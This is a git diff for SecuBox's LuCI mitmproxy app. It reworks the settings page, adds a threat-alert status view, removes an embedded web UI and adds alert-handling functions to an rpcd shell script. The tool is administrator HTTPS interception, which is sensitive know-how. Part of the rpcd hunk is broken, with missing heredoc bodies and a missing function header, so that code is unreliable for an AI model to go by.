- o = s.option(form.Value, 'reverse_target', _('Reverse Target'),
- _('Target server for reverse proxy mode (e.g., http://localhost:80)'));
- o.depends('mode', 'reverse');
- o.placeholder = 'http://localhost:80';
-
- // =====================================================================
- // Transparent Mode Settings
- // =====================================================================
+ // Transparent Mode
s = m.section(form.TypedSection, 'transparent', _('Transparent Mode'));
s.anonymous = true;
- s.addremove = false;
- s.tab('transparent', _('Firewall Settings'));
- o = s.taboption('transparent', form.Flag, 'enabled', _('Enable Transparent Firewall'),
- _('Automatically setup nftables rules to redirect traffic'));
- o.default = '0';
+ o = s.option(form.Flag, 'enabled', _('Enable Transparent Redirect'));
- o = s.taboption('transparent', form.Value, 'interface', _('Intercept Interface'),
- _('Network interface to intercept traffic from'));
+ o = s.option(form.Value, 'interface', _('Interface'));
o.default = 'br-lan';
- o.placeholder = 'br-lan';
o.depends('enabled', '1');
- o = s.taboption('transparent', form.Flag, 'redirect_http', _('Redirect HTTP'),
- _('Intercept plain HTTP traffic'));
- o.default = '1';
- o.depends('enabled', '1');
-
- o = s.taboption('transparent', form.Flag, 'redirect_https', _('Redirect HTTPS'),
- _('Intercept HTTPS traffic (requires CA certificate on clients)'));
- o.default = '1';
- o.depends('enabled', '1');
-
- o = s.taboption('transparent', form.Value, 'http_port', _('HTTP Port'),
- _('Source port to intercept for HTTP'));
- o.default = '80';
- o.datatype = 'port';
- o.depends('redirect_http', '1');
-
- o = s.taboption('transparent', form.Value, 'https_port', _('HTTPS Port'),
- _('Source port to intercept for HTTPS'));
- o.default = '443';
- o.datatype = 'port';
- o.depends('redirect_https', '1');
-
- // =====================================================================
- // Whitelist/Bypass Settings
- // =====================================================================
- s = m.section(form.TypedSection, 'whitelist', _('Whitelist / Bypass'));
+ // Filtering
+ s = m.section(form.TypedSection, 'filtering', _('Analytics'));
s.anonymous = true;
- s.addremove = false;
- o = s.option(form.Flag, 'enabled', _('Enable Whitelist'),
- _('Skip interception for whitelisted IPs and domains'));
- o.default = '1';
+ o = s.option(form.Flag, 'enabled', _('Enable Analytics'));
+ o.description = _('Enable threat detection addon');
- o = s.option(form.DynamicList, 'bypass_ip', _('Bypass IP Addresses'),
- _('IP addresses or CIDR ranges that bypass the proxy'));
- o.placeholder = '192.168.1.0/24';
+ o = s.option(form.Value, 'addon_script', _('Addon Script'));
+ o.default = '/data/addons/secubox_analytics.py';
o.depends('enabled', '1');
- o = s.option(form.DynamicList, 'bypass_domain', _('Bypass Domains'),
- _('Domain patterns that bypass the proxy (for domain-based bypass, requires additional configuration)'));
- o.placeholder = 'banking.com';
+ o = s.option(form.Flag, 'log_requests', _('Log Requests'));
o.depends('enabled', '1');
- // =====================================================================
- // Filtering / CDN Tracking
- // =====================================================================
- s = m.section(form.TypedSection, 'filtering', _('Filtering & Analytics'));
- s.anonymous = true;
- s.addremove = false;
-
- o = s.option(form.Flag, 'enabled', _('Enable Filtering Addon'),
- _('Load the SecuBox filtering addon for CDN/Media tracking and ad blocking'));
- o.default = '0';
-
- o = s.option(form.Flag, 'log_requests', _('Log All Requests'),
- _('Log request details to JSON file for analysis'));
- o.default = '1';
- o.depends('enabled', '1');
-
- o = s.option(form.Flag, 'filter_cdn', _('Track CDN Traffic'),
- _('Log and categorize CDN requests (Cloudflare, Akamai, Fastly, etc.)'));
- o.default = '0';
- o.depends('enabled', '1');
-
- o = s.option(form.Flag, 'filter_media', _('Track Media Streaming'),
- _('Log and categorize streaming media requests (YouTube, Netflix, Spotify, etc.)'));
- o.default = '0';
- o.depends('enabled', '1');
-
- o = s.option(form.Flag, 'block_ads', _('Block Ads & Trackers'),
- _('Block known advertising and tracking domains'));
- o.default = '0';
- o.depends('enabled', '1');
-
- o = s.option(form.Value, 'addon_script', _('Addon Script Path'),
- _('Path to the Python filtering addon'));
- o.default = '/etc/mitmproxy/addons/secubox_filter.py';
- o.depends('enabled', '1');
-
- // =====================================================================
- // Capture Settings
- // =====================================================================
- s = m.section(form.TypedSection, 'capture', _('Capture Settings'));
- s.anonymous = true;
- s.addremove = false;
-
- o = s.option(form.Flag, 'save_flows', _('Save Flows'),
- _('Save captured flows to disk for later replay'));
- o.default = '0';
-
- o = s.option(form.Flag, 'capture_request_headers', _('Capture Request Headers'),
- _('Include request headers in logs'));
- o.default = '1';
-
- o = s.option(form.Flag, 'capture_response_headers', _('Capture Response Headers'),
- _('Include response headers in logs'));
- o.default = '1';
-
- o = s.option(form.Flag, 'capture_request_body', _('Capture Request Body'),
- _('Include request body in logs (increases storage usage)'));
- o.default = '0';
-
- o = s.option(form.Flag, 'capture_response_body', _('Capture Response Body'),
- _('Include response body in logs (increases storage usage)'));
- o.default = '0';
-
- var wrapper = E('div', { 'class': 'secubox-page-wrapper' });
- wrapper.appendChild(SbHeader.render());
- wrapper.appendChild(renderMitmproxyNav('settings'));
-
- return m.render().then(function(mapEl) {
- wrapper.appendChild(mapEl);
- return wrapper;
- });
+ return m.render();
}
});
diff --git a/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/view/mitmproxy/status.js b/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/view/mitmproxy/status.js
new file mode 100644
index 00000000..45c1ba2c
--- /dev/null
+++ b/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/view/mitmproxy/status.js
@@ -0,0 +1,203 @@
+'use strict';
+'require view';
+'require poll';
+'require rpc';
+'require ui';
+
+var callStatus = rpc.declare({
+ object: 'luci.mitmproxy',
+ method: 'status'
+});
+
+var callAlerts = rpc.declare({
+ object: 'luci.mitmproxy',
+ method: 'alerts'
+});
+
+var callStart = rpc.declare({
+ object: 'luci.mitmproxy',
+ method: 'start'
+});
+
+var callStop = rpc.declare({
+ object: 'luci.mitmproxy',
+ method: 'stop'
+});
+
+var callRestart = rpc.declare({
+ object: 'luci.mitmproxy',
+ method: 'restart'
+});
+
+var callClearAlerts = rpc.declare({
+ object: 'luci.mitmproxy',
+ method: 'clear_alerts'
+});
+
+function severityColor(sev) {
+ return { critical: '#e74c3c', high: '#e67e22', medium: '#f39c12', low: '#3498db' }[sev] || '#666';
+}
+
+function severityIcon(sev) {
+ return { critical: 'π΄', high: 'π ', medium: 'π‘', low: 'π΅' }[sev] || 'βͺ';
+}
+
+return view.extend({
+ load: function() {
+ return Promise.all([
+ callStatus().catch(function() { return {}; }),
+ callAlerts().catch(function() { return { alerts: [] }; })
+ ]);
+ },
+
+ render: function(data) {
+ var status = data[0] || {};
+ var alertsData = data[1] || {};
+ var alerts = alertsData.alerts || [];
+ var self = this;
+
+ var view = E('div', { 'class': 'cbi-map' }, [
+ E('h2', {}, _('mitmproxy - HTTPS Intercepting Proxy')),
+
+ // Service Status Card
+ E('div', { 'class': 'cbi-section' }, [
+ E('h3', {}, _('Service Status')),
+ E('div', { 'class': 'cbi-section-node' }, [
+ E('table', { 'class': 'table' }, [
+ E('tr', { 'class': 'tr' }, [
+ E('td', { 'class': 'td', 'width': '33%' }, E('strong', {}, _('Status'))),
+ E('td', { 'class': 'td' }, [
+ E('span', {
+ 'style': 'display: inline-block; width: 12px; height: 12px; border-radius: 50%; margin-right: 8px; background: ' + (status.running ? '#27ae60' : '#e74c3c')
+ }),
+ status.running ? _('Running') : _('Stopped')
+ ])
+ ]),
+ E('tr', { 'class': 'tr' }, [
+ E('td', { 'class': 'td' }, E('strong', {}, _('Mode'))),
+ E('td', { 'class': 'td' }, status.mode || 'regular')
+ ]),
+ E('tr', { 'class': 'tr' }, [
+ E('td', { 'class': 'td' }, E('strong', {}, _('Proxy Port'))),
+ E('td', { 'class': 'td' }, status.proxy_port || 8888)
+ ]),
+ E('tr', { 'class': 'tr' }, [
+ E('td', { 'class': 'td' }, E('strong', {}, _('Web UI'))),
+ E('td', { 'class': 'td' }, status.running ?
+ E('a', { 'href': 'http://' + window.location.hostname + ':' + (status.web_port || 8082), 'target': '_blank' },
+ 'http://' + window.location.hostname + ':' + (status.web_port || 8082)) :
+ _('Not available'))
+ ])
+ ])
+ ]),
+ E('div', { 'style': 'margin-top: 16px;' }, [
+ E('button', {
+ 'class': 'btn cbi-button cbi-button-apply',
+ 'click': function() {
+ ui.showModal(_('Starting...'), [E('p', { 'class': 'spinning' }, _('Please wait...'))]);
+ callStart().then(function() { ui.hideModal(); location.reload(); });
+ },
+ 'disabled': status.running
+ }, _('Start')),
+ ' ',
+ E('button', {
+ 'class': 'btn cbi-button cbi-button-reset',
+ 'click': function() {
+ ui.showModal(_('Stopping...'), [E('p', { 'class': 'spinning' }, _('Please wait...'))]);
+ callStop().then(function() { ui.hideModal(); location.reload(); });
+ },
+ 'disabled': !status.running
+ }, _('Stop')),
+ ' ',
+ E('button', {
+ 'class': 'btn cbi-button cbi-button-action',
+ 'click': function() {
+ ui.showModal(_('Restarting...'), [E('p', { 'class': 'spinning' }, _('Please wait...'))]);
+ callRestart().then(function() { ui.hideModal(); location.reload(); });
+ }
+ }, _('Restart'))
+ ])
+ ]),
+
+ // Security Threats Card
+ E('div', { 'class': 'cbi-section' }, [
+ E('h3', {}, [
+ _('Security Threats'),
+ ' ',
+ E('span', { 'style': 'font-size: 14px; font-weight: normal; color: #666;' },
+ '(' + alerts.length + ' detected)')
+ ]),
+ alerts.length > 0 ?
+ E('div', {}, [
+ E('div', { 'style': 'margin-bottom: 12px;' }, [
+ E('button', {
+ 'class': 'btn cbi-button',
+ 'click': function() {
+ if (confirm(_('Clear all alerts?'))) {
+ callClearAlerts().then(function() { location.reload(); });
+ }
+ }
+ }, _('Clear Alerts'))
+ ]),
+ E('table', { 'class': 'table', 'style': 'font-size: 13px;' }, [
+ E('tr', { 'class': 'tr cbi-section-table-titles' }, [
+ E('th', { 'class': 'th' }, _('Severity')),
+ E('th', { 'class': 'th' }, _('Type')),
+ E('th', { 'class': 'th' }, _('Path')),
+ E('th', { 'class': 'th' }, _('Source')),
+ E('th', { 'class': 'th' }, _('Time'))
+ ])
+ ].concat(alerts.slice(-20).reverse().map(function(alert) {
+ return E('tr', { 'class': 'tr' }, [
+ E('td', { 'class': 'td' }, [
+ E('span', {
+ 'style': 'background: ' + severityColor(alert.severity) + '; color: white; padding: 2px 8px; border-radius: 4px; font-size: 11px; text-transform: uppercase;'
+ }, severityIcon(alert.severity) + ' ' + (alert.severity || 'unknown'))
+ ]),
+ E('td', { 'class': 'td' }, (alert.pattern || alert.type || '-').replace(/_/g, ' ')),
+ E('td', { 'class': 'td', 'style': 'max-width: 300px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap;' },
+ (alert.method || 'GET') + ' ' + (alert.path || '-')),
+ E('td', { 'class': 'td' }, [
+ alert.ip || '-',
+ alert.country ? E('span', { 'style': 'margin-left: 4px; color: #666;' }, '(' + alert.country + ')') : null
+ ]),
+ E('td', { 'class': 'td', 'style': 'white-space: nowrap; color: #666;' },
+ alert.time ? alert.time.split('T')[1].split('.')[0] : '-')
+ ]);
+ })))
+ ]) :
+ E('div', { 'class': 'cbi-section-node', 'style': 'text-align: center; padding: 40px; color: #666;' }, [
+ E('div', { 'style': 'font-size: 48px; margin-bottom: 16px;' }, 'β
'),
+ E('p', {}, _('No threats detected')),
+ E('p', { 'style': 'font-size: 12px;' }, _('The analytics addon monitors for SQL injection, XSS, command injection, and other attacks.'))
+ ])
+ ]),
+
+ // Info Card
+ E('div', { 'class': 'cbi-section' }, [
+ E('h3', {}, _('Information')),
+ E('div', { 'class': 'cbi-section-node' }, [
+ E('p', {}, _('mitmproxy is an interactive HTTPS proxy for traffic inspection and modification.')),
+ E('ul', {}, [
+ E('li', {}, _('Intercept and inspect HTTP/HTTPS traffic')),
+ E('li', {}, _('Detect SQL injection, XSS, and other attacks')),
+ E('li', {}, _('Log threats to CrowdSec for automatic blocking')),
+ E('li', {}, _('Access the Web UI for detailed traffic analysis'))
+ ]),
+ E('p', { 'style': 'margin-top: 12px;' }, [
+ E('strong', {}, _('CA Certificate: ')),
+ _('To inspect HTTPS traffic, install the CA certificate from '),
+ E('a', { 'href': 'http://mitm.it', 'target': '_blank' }, 'http://mitm.it'),
+ _(' on client devices.')
+ ])
+ ])
+ ])
+ ]);
+
+ return view;
+ },
+
+ handleSaveApply: null,
+ handleSave: null,
+ handleReset: null
+});
diff --git a/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/view/mitmproxy/webui.js b/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/view/mitmproxy/webui.js
deleted file mode 100644
index 397e077a..00000000
--- a/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/view/mitmproxy/webui.js
+++ /dev/null
@@ -1,130 +0,0 @@
-'use strict';
-'require view';
-'require dom';
-'require ui';
-'require mitmproxy/api as api';
-'require secubox-theme/theme as Theme';
-'require secubox-portal/header as SbHeader';
-
-var lang = (typeof L !== 'undefined' && L.env && L.env.lang) ||
- (document.documentElement && document.documentElement.getAttribute('lang')) ||
- (navigator.language ? navigator.language.split('-')[0] : 'en');
-Theme.init({ language: lang });
-
-var MITMPROXY_NAV = [
- { id: 'dashboard', icon: 'π', label: 'Dashboard' },
- { id: 'webui', icon: 'π₯οΈ', label: 'Web UI' },
- { id: 'requests', icon: 'π', label: 'Requests' },
- { id: 'settings', icon: 'βοΈ', label: 'Settings' }
-];
-
-function renderMitmproxyNav(activeId) {
- return E('div', {
- 'class': 'mp-app-nav',
- 'style': 'display:flex;gap:8px;margin-bottom:20px;padding:12px 16px;background:#141419;border:1px solid rgba(255,255,255,0.08);border-radius:12px;'
- }, MITMPROXY_NAV.map(function(item) {
- var isActive = activeId === item.id;
- return E('a', {
- 'href': L.url('admin', 'secubox', 'security', 'mitmproxy', item.id),
- 'style': 'display:flex;align-items:center;gap:8px;padding:10px 16px;border-radius:8px;text-decoration:none;font-size:14px;font-weight:500;transition:all 0.2s;' +
- (isActive ? 'background:linear-gradient(135deg,#e74c3c,#c0392b);color:white;' : 'color:#a0a0b0;background:transparent;')
- }, [
- E('span', {}, item.icon),
- E('span', {}, _(item.label))
- ]);
- }));
-}
-
-return view.extend({
- title: _('mitmproxy Web UI'),
-
- load: function() {
- return Promise.all([
- api.getStatus(),
- api.getWebToken()
- ]);
- },
-
- render: function(data) {
- var status = data[0] || {};
- var tokenData = data[1] || {};
-
- var content;
-
- if (!status.running) {
- content = E('div', { 'class': 'mp-card', 'style': 'text-align: center; padding: 60px 20px;' }, [
- E('div', { 'style': 'font-size: 64px; margin-bottom: 20px;' }, 'β οΈ'),
- E('h2', { 'style': 'margin: 0 0 10px 0; color: #f39c12;' }, _('mitmproxy is not running')),
- E('p', { 'style': 'color: #a0a0b0; margin: 0 0 20px 0;' }, _('Start the service to access the Web UI')),
- E('button', {
- 'class': 'mp-btn mp-btn-success',
- 'click': function() {
- ui.showModal(_('Starting...'), [
- E('p', { 'class': 'spinning' }, _('Starting mitmproxy...'))
- ]);
- api.serviceStart().then(function() {
- ui.hideModal();
- setTimeout(function() { location.reload(); }, 2000);
- });
- }
- }, 'βΆ Start mitmproxy')
- ]);
- } else if (!tokenData.token) {
- content = E('div', { 'class': 'mp-card', 'style': 'text-align: center; padding: 60px 20px;' }, [
- E('div', { 'style': 'font-size: 64px; margin-bottom: 20px;' }, 'π'),
- E('h2', { 'style': 'margin: 0 0 10px 0; color: #3498db;' }, _('Waiting for authentication token')),
- E('p', { 'style': 'color: #a0a0b0; margin: 0 0 20px 0;' }, _('The service is starting. Please wait or refresh the page.')),
- E('button', {
- 'class': 'mp-btn mp-btn-primary',
- 'click': function() { location.reload(); }
- }, 'π Refresh')
- ]);
- } else {
- var iframeSrc = tokenData.web_url_with_token;
-
- content = E('div', { 'style': 'display: flex; flex-direction: column; height: calc(100vh - 200px); min-height: 600px;' }, [
- // Toolbar
- E('div', { 'style': 'display: flex; align-items: center; gap: 12px; margin-bottom: 12px; padding: 12px 16px; background: #141419; border-radius: 8px;' }, [
- E('span', { 'style': 'color: #27ae60; font-weight: 500;' }, 'β Connected'),
- E('span', { 'style': 'color: #a0a0b0; font-size: 13px;' }, tokenData.web_url),
- E('div', { 'style': 'flex: 1;' }),
- E('button', {
- 'class': 'mp-btn',
- 'click': function() {
- var iframe = document.querySelector('.mitmproxy-iframe');
- if (iframe) iframe.src = iframe.src;
- }
- }, 'π Refresh'),
- E('a', {
- 'class': 'mp-btn mp-btn-secondary',
- 'href': iframeSrc,
- 'target': '_blank'
- }, 'β Open in New Tab')
- ]),
-
- // Iframe container
- E('div', {
- 'style': 'flex: 1; border-radius: 8px; overflow: hidden; border: 1px solid rgba(255,255,255,0.1);'
- }, [
- E('iframe', {
- 'class': 'mitmproxy-iframe',
- 'src': iframeSrc,
- 'style': 'width: 100%; height: 100%; border: none; background: #1a1a1f;',
- 'allow': 'fullscreen',
- 'sandbox': 'allow-same-origin allow-scripts allow-forms allow-popups allow-modals'
- })
- ])
- ]);
- }
-
- var wrapper = E('div', { 'class': 'secubox-page-wrapper' });
- wrapper.appendChild(SbHeader.render());
- wrapper.appendChild(renderMitmproxyNav('webui'));
- wrapper.appendChild(content);
- return wrapper;
- },
-
- handleSaveApply: null,
- handleSave: null,
- handleReset: null
-});
diff --git a/package/secubox/luci-app-mitmproxy/root/usr/libexec/rpcd/luci.mitmproxy b/package/secubox/luci-app-mitmproxy/root/usr/libexec/rpcd/luci.mitmproxy
index 8d55b719..f30a90a2 100755
--- a/package/secubox/luci-app-mitmproxy/root/usr/libexec/rpcd/luci.mitmproxy
+++ b/package/secubox/luci-app-mitmproxy/root/usr/libexec/rpcd/luci.mitmproxy
@@ -328,8 +328,77 @@ do_start() { [ -x /etc/init.d/mitmproxy ] && /etc/init.d/mitmproxy start >/dev/n
do_stop() { [ -x /etc/init.d/mitmproxy ] && /etc/init.d/mitmproxy stop >/dev/null 2>&1; echo '{"success":true}'; }
do_restart() { [ -x /etc/init.d/mitmproxy ] && /etc/init.d/mitmproxy restart >/dev/null 2>&1; echo '{"success":true}'; }
+get_alerts() {
+ # Read alerts from container
+ local alerts_file="/tmp/secubox-mitm-alerts.json"
+ local container_alerts=""
+
+ # Try to get alerts from LXC container
+ if command -v lxc-attach >/dev/null 2>&1; then
+ container_alerts=$(lxc-attach -n "$LXC_NAME" -- cat /tmp/secubox-mitm-alerts.json 2>/dev/null)
+ fi
+
+ # Fall back to host path if container method fails
+ if [ -z "$container_alerts" ] || [ "$container_alerts" = "[]" ]; then
+ [ -f "$alerts_file" ] && container_alerts=$(cat "$alerts_file" 2>/dev/null)
+ fi
+
+ # Default to empty array
+ [ -z "$container_alerts" ] && container_alerts="[]"
+
+ json_init
+ json_add_boolean "success" 1
+
+ # Output raw alerts array
+ cat </dev/null 2>&1; then
+ container_stats=$(lxc-attach -n "$LXC_NAME" -- cat /tmp/secubox-mitm-stats.json 2>/dev/null)
+ fi
+
+ # Fall back to host path
+ if [ -z "$container_stats" ]; then
+ [ -f "$stats_file" ] && container_stats=$(cat "$stats_file" 2>/dev/null)
+ fi
+
+ # Default stats
+ [ -z "$container_stats" ] && container_stats='{"total":{"requests":0,"threats":0,"bots":0}}'
+
+ cat </dev/null 2>&1; then
+ lxc-attach -n "$LXC_NAME" -- sh -c 'echo "[]" > /tmp/secubox-mitm-alerts.json' 2>/dev/null
+ fi
+
+ # Also clear on host
+ echo "[]" > /tmp/secubox-mitm-alerts.json 2>/dev/null
+
+ echo '{"success":true,"message":"Alerts cleared"}'
+}
+
list_methods() { cat <<'EOFM'
-{"status":{},"settings":{},"save_settings":{"mode":"str","enabled":"bool","proxy_port":"int","web_port":"int","apply_now":"bool"},"set_mode":{"mode":"str","apply_now":"bool"},"setup_firewall":{},"clear_firewall":{},"install":{},"start":{},"stop":{},"restart":{}}
+{"status":{},"settings":{},"save_settings":{"mode":"str","enabled":"bool","proxy_port":"int","web_port":"int","apply_now":"bool"},"set_mode":{"mode":"str","apply_now":"bool"},"setup_firewall":{},"clear_firewall":{},"install":{},"start":{},"stop":{},"restart":{},"alerts":{},"threat_stats":{},"clear_alerts":{}}
EOFM
}
@@ -347,6 +416,9 @@ case "$1" in
start) do_start ;;
stop) do_stop ;;
restart) do_restart ;;
+ alerts) get_alerts ;;
+ threat_stats) get_threat_stats ;;
+ clear_alerts) clear_alerts ;;
*) echo '{"error":"Unknown method"}' ;;
esac
;;
diff --git a/package/secubox/luci-app-mitmproxy/root/usr/share/luci/menu.d/luci-app-mitmproxy.json b/package/secubox/luci-app-mitmproxy/root/usr/share/luci/menu.d/luci-app-mitmproxy.json
index 4b941a9d..aede27e9 100644
--- a/package/secubox/luci-app-mitmproxy/root/usr/share/luci/menu.d/luci-app-mitmproxy.json
+++ b/package/secubox/luci-app-mitmproxy/root/usr/share/luci/menu.d/luci-app-mitmproxy.json
@@ -1,8 +1,18 @@
{
"admin/services/mitmproxy": {
"title": "mitmproxy",
- "action": { "type": "view", "path": "mitmproxy/overview" },
+ "action": { "type": "view", "path": "mitmproxy/status" },
"depends": { "acl": ["luci-app-mitmproxy"] },
"order": 60
+ },
+ "admin/services/mitmproxy/status": {
+ "title": "Status",
+ "action": { "type": "view", "path": "mitmproxy/status" },
+ "order": 1
+ },
+ "admin/services/mitmproxy/settings": {
+ "title": "Settings",
+ "action": { "type": "view", "path": "mitmproxy/settings" },
+ "order": 2
}
}
diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/apps-local.json b/package/secubox/secubox-app-bonus/root/www/secubox-feed/apps-local.json
index 7acd7378..93f3f882 100644
--- a/package/secubox/secubox-app-bonus/root/www/secubox-feed/apps-local.json
+++ b/package/secubox/secubox-app-bonus/root/www/secubox-feed/apps-local.json
@@ -1,12 +1,12 @@
{
"feed_url": "/secubox-feed",
- "generated": "2026-01-31T09:21:26+01:00",
+ "generated": "2026-01-31T13:38:48+01:00",
"packages": [
{
"name": "luci-app-auth-guardian",
"version": "0.4.0-r3",
"filename": "luci-app-auth-guardian_0.4.0-r3_all.ipk",
- "size": 12078,
+ "size": 12079,
"category": "security",
"icon": "key",
"description": "Authentication management",
@@ -18,7 +18,7 @@
"name": "luci-app-bandwidth-manager",
"version": "0.5.0-r2",
"filename": "luci-app-bandwidth-manager_0.5.0-r2_all.ipk",
- "size": 66974,
+ "size": 66965,
"category": "network",
"icon": "activity",
"description": "Bandwidth monitoring and control",
@@ -30,7 +30,7 @@
"name": "luci-app-cdn-cache",
"version": "0.5.0-r3",
"filename": "luci-app-cdn-cache_0.5.0-r3_all.ipk",
- "size": 23188,
+ "size": 23187,
"category": "network",
"icon": "globe",
"description": "CDN caching",
@@ -42,7 +42,7 @@
"name": "luci-app-client-guardian",
"version": "0.4.0-r7",
"filename": "luci-app-client-guardian_0.4.0-r7_all.ipk",
- "size": 57046,
+ "size": 57042,
"category": "network",
"icon": "users",
"description": "Client management and monitoring",
@@ -54,7 +54,7 @@
"name": "luci-app-crowdsec-dashboard",
"version": "0.7.0-r29",
"filename": "luci-app-crowdsec-dashboard_0.7.0-r29_all.ipk",
- "size": 55584,
+ "size": 55580,
"category": "security",
"icon": "shield",
"description": "CrowdSec security monitoring",
@@ -66,7 +66,7 @@
"name": "luci-app-cyberfeed",
"version": "0.1.1-r1",
"filename": "luci-app-cyberfeed_0.1.1-r1_all.ipk",
- "size": 12839,
+ "size": 12835,
"category": "utility",
"icon": "package",
"description": "SecuBox package",
@@ -78,7 +78,7 @@
"name": "luci-app-exposure",
"version": "1.0.0-r3",
"filename": "luci-app-exposure_1.0.0-r3_all.ipk",
- "size": 20536,
+ "size": 20532,
"category": "utility",
"icon": "package",
"description": "SecuBox package",
@@ -102,7 +102,7 @@
"name": "luci-app-glances",
"version": "1.0.0-r2",
"filename": "luci-app-glances_1.0.0-r2_all.ipk",
- "size": 6969,
+ "size": 6965,
"category": "utility",
"icon": "package",
"description": "SecuBox package",
@@ -114,7 +114,7 @@
"name": "luci-app-haproxy",
"version": "1.0.0-r8",
"filename": "luci-app-haproxy_1.0.0-r8_all.ipk",
- "size": 34168,
+ "size": 34165,
"category": "utility",
"icon": "package",
"description": "SecuBox package",
@@ -126,7 +126,19 @@
"name": "luci-app-hexojs",
"version": "1.0.0-r3",
"filename": "luci-app-hexojs_1.0.0-r3_all.ipk",
- "size": 32977,
+ "size": 32974,
+ "category": "utility",
+ "icon": "package",
+ "description": "SecuBox package",
+ "installed": false,
+ "luci_app": null
+ }
+,
+ {
+ "name": "luci-app-jitsi",
+ "version": "1.0.0-r1",
+ "filename": "luci-app-jitsi_1.0.0-r1_all.ipk",
+ "size": 5140,
"category": "utility",
"icon": "package",
"description": "SecuBox package",
@@ -138,7 +150,7 @@
"name": "luci-app-ksm-manager",
"version": "0.4.0-r2",
"filename": "luci-app-ksm-manager_0.4.0-r2_all.ipk",
- "size": 18725,
+ "size": 18719,
"category": "system",
"icon": "cpu",
"description": "Kernel memory management",
@@ -150,7 +162,7 @@
"name": "luci-app-localai",
"version": "0.1.0-r15",
"filename": "luci-app-localai_0.1.0-r15_all.ipk",
- "size": 14367,
+ "size": 14358,
"category": "utility",
"icon": "package",
"description": "SecuBox package",
@@ -162,7 +174,7 @@
"name": "luci-app-lyrion",
"version": "1.0.0-r1",
"filename": "luci-app-lyrion_1.0.0-r1_all.ipk",
- "size": 6733,
+ "size": 6724,
"category": "utility",
"icon": "package",
"description": "SecuBox package",
@@ -174,7 +186,7 @@
"name": "luci-app-magicmirror2",
"version": "0.4.0-r6",
"filename": "luci-app-magicmirror2_0.4.0-r6_all.ipk",
- "size": 12277,
+ "size": 12278,
"category": "iot",
"icon": "monitor",
"description": "Smart mirror display",
@@ -186,7 +198,7 @@
"name": "luci-app-mailinabox",
"version": "1.0.0-r1",
"filename": "luci-app-mailinabox_1.0.0-r1_all.ipk",
- "size": 5487,
+ "size": 5482,
"category": "utility",
"icon": "package",
"description": "SecuBox package",
@@ -198,7 +210,7 @@
"name": "luci-app-media-flow",
"version": "0.6.4-r1",
"filename": "luci-app-media-flow_0.6.4-r1_all.ipk",
- "size": 19127,
+ "size": 19111,
"category": "media",
"icon": "film",
"description": "Media streaming",
@@ -210,7 +222,7 @@
"name": "luci-app-metablogizer",
"version": "1.0.0-r3",
"filename": "luci-app-metablogizer_1.0.0-r3_all.ipk",
- "size": 23504,
+ "size": 23505,
"category": "utility",
"icon": "package",
"description": "SecuBox package",
@@ -222,7 +234,7 @@
"name": "luci-app-metabolizer",
"version": "1.0.0-r2",
"filename": "luci-app-metabolizer_1.0.0-r2_all.ipk",
- "size": 4756,
+ "size": 4754,
"category": "utility",
"icon": "package",
"description": "SecuBox package",
@@ -234,7 +246,7 @@
"name": "luci-app-mitmproxy",
"version": "0.4.0-r6",
"filename": "luci-app-mitmproxy_0.4.0-r6_all.ipk",
- "size": 18935,
+ "size": 18932,
"category": "security",
"icon": "lock",
"description": "HTTPS proxy and traffic inspection",
@@ -246,7 +258,7 @@
"name": "luci-app-mmpm",
"version": "0.2.0-r3",
"filename": "luci-app-mmpm_0.2.0-r3_all.ipk",
- "size": 7902,
+ "size": 7903,
"category": "utility",
"icon": "package",
"description": "SecuBox package",
@@ -258,7 +270,7 @@
"name": "luci-app-mqtt-bridge",
"version": "0.4.0-r4",
"filename": "luci-app-mqtt-bridge_0.4.0-r4_all.ipk",
- "size": 22779,
+ "size": 22775,
"category": "iot",
"icon": "message-square",
"description": "MQTT bridge",
@@ -270,7 +282,7 @@
"name": "luci-app-ndpid",
"version": "1.1.2-r2",
"filename": "luci-app-ndpid_1.1.2-r2_all.ipk",
- "size": 22458,
+ "size": 22453,
"category": "security",
"icon": "eye",
"description": "Deep packet inspection",
@@ -282,7 +294,7 @@
"name": "luci-app-netdata-dashboard",
"version": "0.5.0-r2",
"filename": "luci-app-netdata-dashboard_0.5.0-r2_all.ipk",
- "size": 22401,
+ "size": 22400,
"category": "monitoring",
"icon": "bar-chart-2",
"description": "System monitoring dashboard",
@@ -294,7 +306,7 @@
"name": "luci-app-network-modes",
"version": "0.5.0-r3",
"filename": "luci-app-network-modes_0.5.0-r3_all.ipk",
- "size": 55613,
+ "size": 55610,
"category": "network",
"icon": "wifi",
"description": "Network configuration",
@@ -306,7 +318,7 @@
"name": "luci-app-network-tweaks",
"version": "1.0.0-r7",
"filename": "luci-app-network-tweaks_1.0.0-r7_all.ipk",
- "size": 15464,
+ "size": 15459,
"category": "network",
"icon": "wifi",
"description": "Network configuration",
@@ -318,7 +330,7 @@
"name": "luci-app-nextcloud",
"version": "1.0.0-r1",
"filename": "luci-app-nextcloud_1.0.0-r1_all.ipk",
- "size": 6482,
+ "size": 6481,
"category": "utility",
"icon": "package",
"description": "SecuBox package",
@@ -342,7 +354,7 @@
"name": "luci-app-picobrew",
"version": "1.0.0-r1",
"filename": "luci-app-picobrew_1.0.0-r1_all.ipk",
- "size": 9978,
+ "size": 9979,
"category": "utility",
"icon": "package",
"description": "SecuBox package",
@@ -354,7 +366,7 @@
"name": "luci-app-secubox",
"version": "0.7.1-r4",
"filename": "luci-app-secubox_0.7.1-r4_all.ipk",
- "size": 49902,
+ "size": 49897,
"category": "system",
"icon": "box",
"description": "SecuBox system component",
@@ -366,7 +378,7 @@
"name": "luci-app-secubox-admin",
"version": "1.0.0-r19",
"filename": "luci-app-secubox-admin_1.0.0-r19_all.ipk",
- "size": 57098,
+ "size": 57097,
"category": "system",
"icon": "box",
"description": "SecuBox system component",
@@ -378,7 +390,7 @@
"name": "luci-app-secubox-crowdsec",
"version": "1.0.0-r3",
"filename": "luci-app-secubox-crowdsec_1.0.0-r3_all.ipk",
- "size": 13922,
+ "size": 13919,
"category": "system",
"icon": "box",
"description": "SecuBox system component",
@@ -390,7 +402,7 @@
"name": "luci-app-secubox-netdiag",
"version": "1.0.0-r1",
"filename": "luci-app-secubox-netdiag_1.0.0-r1_all.ipk",
- "size": 11996,
+ "size": 11999,
"category": "system",
"icon": "box",
